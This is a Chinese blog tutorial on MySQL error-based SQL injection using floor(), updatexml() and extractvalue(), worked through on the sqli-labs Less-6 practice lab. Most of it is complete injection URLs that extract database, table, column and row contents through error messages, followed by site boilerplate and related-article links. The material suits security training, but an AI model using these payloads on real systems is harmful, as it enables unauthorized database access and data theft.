最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结

SQL报错注入是一种常见的SQL注入攻击方式,攻击者通过注入恶意代码,触发数据库的错误响应,并从错误信息中获取有用的信息。

下面介绍最常见的三个报错注入函数用法及payload总结:

1、floor()

使用floor报错注入,需要确保查询的表必须大于三条数据

payload的大致格式

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a--+

本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。

来到sqllabs-Less-6

简单测试一下:

输入一个存在的id,正常回显

输入不存在的id,无任何回显

找闭合点,为双引号

但是这里回显要么存在,要么无回显,因此无法使用联合查询注入,而且也不存在回显为真或者假两种情况,排除掉盲注,那么这关需要使用的是报错注入。

首先我们查当前数据库名

足够大的表那肯定就是information_schema.tables,这个表里包含了所有的表

当然也可以用information_schema.columns,包含了所有的列

?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

说明:这里的0x23即16进制的23,转换为ASCII字符为 #,主要是便于我们对查询结果的观察

可以得到当前数据库名为 security

我们也可以查其他数据库名

将上述payload的database()换成对应查询语句即可

?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group BY x) as y)--+

 

修改limit语句的参数即可查询到不同的数据库名 

接下来我们查security数据库下的表名

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

可以看到security数据库下的第一个表为 emails

对照本地,即可验证

同样修改limit语句的参数值从而查询其他的表名

比如

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

其实有时候我们可以使用group_concat()将所以查询内容列出,但是要取决于题目具体环境,如果无法使用,则使用limit语句来限制查询结果的列数,逐条查询。

之后我们查询指定数据库指定表名下的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

第一列名为 id

继续查下一列的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

得知第二列的列名为 email_id

最后则是查具体字段内容,这里我们查询 email_id 下的内容

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

查第二行数据

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

以此类推

将查询结果与本地靶场数据库对比,信息一致

 

2、extractvalue 和 updatexml

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml。extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容。

用法上extractvalue与updatexml的区别:updatexml使用三个参数,extractvalue只有两个参数。

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。

'~'不是xml实体,所以会报错

concat()函数:用于拼接字符串

这里也给出payload

查数据库名

?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

查表名

这里使用group_concat直接列完

说明:#可以换成~、$等不满足 xpath 格式的字符

下面讲0x23换成了0x7e,即将#换成了~

可以就用database(),也可以具体指定为security

?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

 

查列名

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails')),0x7e))--+

查具体字段内容 

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(email_id)from security.emails)),0x7e))--+

对于extractvalue()则只写两个参数

extractvalue() 能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要用 substring() 函数截取或 limit 分页,一次查看最多 32 位。

查数据库名

?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+

查表名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))))--+

查列名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+

查字段内容

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(email_id)from security.emails))))--+

换句话说,extractvalue的payload就是将updatexml的函数名替换,再删掉第三个参数即可。

以上就是关于最常见的三种报错注入函数及方法和payload的总结。

创作不易,喜欢的可以点赞支持关注一下!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/309966.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openGauss学习笔记-179 openGauss 数据库运维-逻辑复制-发布订阅

文章目录 openGauss学习笔记-179 openGauss 数据库运维-逻辑复制-发布订阅179.1 发布179.2 订阅179.3 冲突处理179.4 限制179.5 架构179.6 监控179.7 安全性179.8 配置设置179.9 快速设置 openGauss学习笔记-179 openGauss 数据库运维-逻辑复制-发布订阅 发布和订阅基于逻辑复…

通过nginx配置防御web漏洞

一、常见web漏洞 二、nginx防御策略: 要使用Nginx配置防御Web漏洞,可以采取以下措施: 禁用不必要的HTTP方法:Nginx默认启用了许多HTTP方法,如PUT、DELETE等。可以通过在Nginx配置中禁用不必要的HTTP方法来减少潜在的安…

Abstract Factory抽象工厂模式(对象创建)

抽象工厂模式:Abstract Factory 链接:抽象工厂模式实例代码 解析 目的 在软件系统中,经常面临着“一系列相互依赖的对象工作”;同时,由于需求的变化,往往存在更多系列对象的创建工作。 如何应对这种变化…

2、gdb常用功能2

1.4、线程 程序避免不了涉及到多线程.常用指令如下. 命令简写形式说明info thread显示当前进程内所有线程信息thread 切换到num线程thread find 寻找regexp在gdb中的idinfo address 结合上述图片理解,第一列的id是gdb内部为线程排序的一个id,第三列中…

FTP的基本介绍

FTP ftp的介绍: ftp是一个可以提供共享文件的服务器,他可以通过iis.msc也就是windows 的服务器管理器来打开,或者通过cmd命令行打开 如何使用iis.msc打开ftp,如何使用cmd打开ftp ,如何匿名登录ftp,ftp和…

计算机毕业设计—SSM酒店管理系统(附源码)

1, 概述 1.1 课题背景 开发本系统主要是为酒店管理者和前台营业员提供更好的管理平台,让计算机对快捷酒店进行自动化管理,用户可以直接在计算机上实现对酒店客房的信息管理,并能在一定程度上实现自动化,有序&#xf…

三子棋(c语言)

前言: 三子棋是一种民间传统游戏,又叫九宫棋、圈圈叉叉棋、一条龙、井字棋等。游戏规则是双方对战,双方依次在9宫格棋盘上摆放棋子,率先将自己的三个棋子走成一条线就视为胜利。但因棋盘太小,三子棋在很多时候会出现和…

软件测试/测试开发丨Python 虚拟环境及pip环境管理

venv 虚拟环境管理 venv 虚拟环境的优点 独立的 Python 环境,不会产生冲突有助于包的管理删除和卸载方便 venv 使用方法 创建虚拟环境 python3 -m venv test 激活虚拟环境 切换指定文件夹Windows:/Scripts/macOS:/bin/ 执行指令&#xff…

Python运算符与控制语句

第九章、运算符 一、概述 在 Python 中,运算符是用于进行各种操作的符号或关键字。Python 支持多种类型的运算符,包括算术运算符、比较运算符、逻辑运算符、位运算符、赋值运算符等。 下面对常用的运算符进行详细介绍: 二、算术运算符&…

【Linux驱动】设备树简介 | 内核对设备树的处理

🐱作者:一只大喵咪1201 🐱专栏:《Linux驱动》 🔥格言:你只管努力,剩下的交给时间! 目录 🧲设备树简介🏹设备树语法🏹常见节点和属性&#x1f3f9…

Autosar MCAL-RH850P1HC Dio配置

文章目录 DioDioGeneralDioCriticalSectionProtectionDioDevErrorDetectDioDeviceNameDioFlipChannelApiDioMaskedWritePortApiDioUseWriteVerifyErrorInterfaceDioVersionCheckExternalModulesDioVersionInfoApiDioWriteVerifyDioWriteVerifyErrorInterface DioPortP0-P9DioPo…

交叉验证的种类和原理(sklearn.model_selection import *)

交叉验证的种类和原理 所有的来自https://scikit-learn.org/stable/modules/cross_validation.html#cross-validation-iterators并掺杂了自己的理解。 文章目录 前言一、基础知识1.1 交叉验证图形表示1.2 交叉验证主要类别 二、部分交叉验证函数(每类一个&#xff0…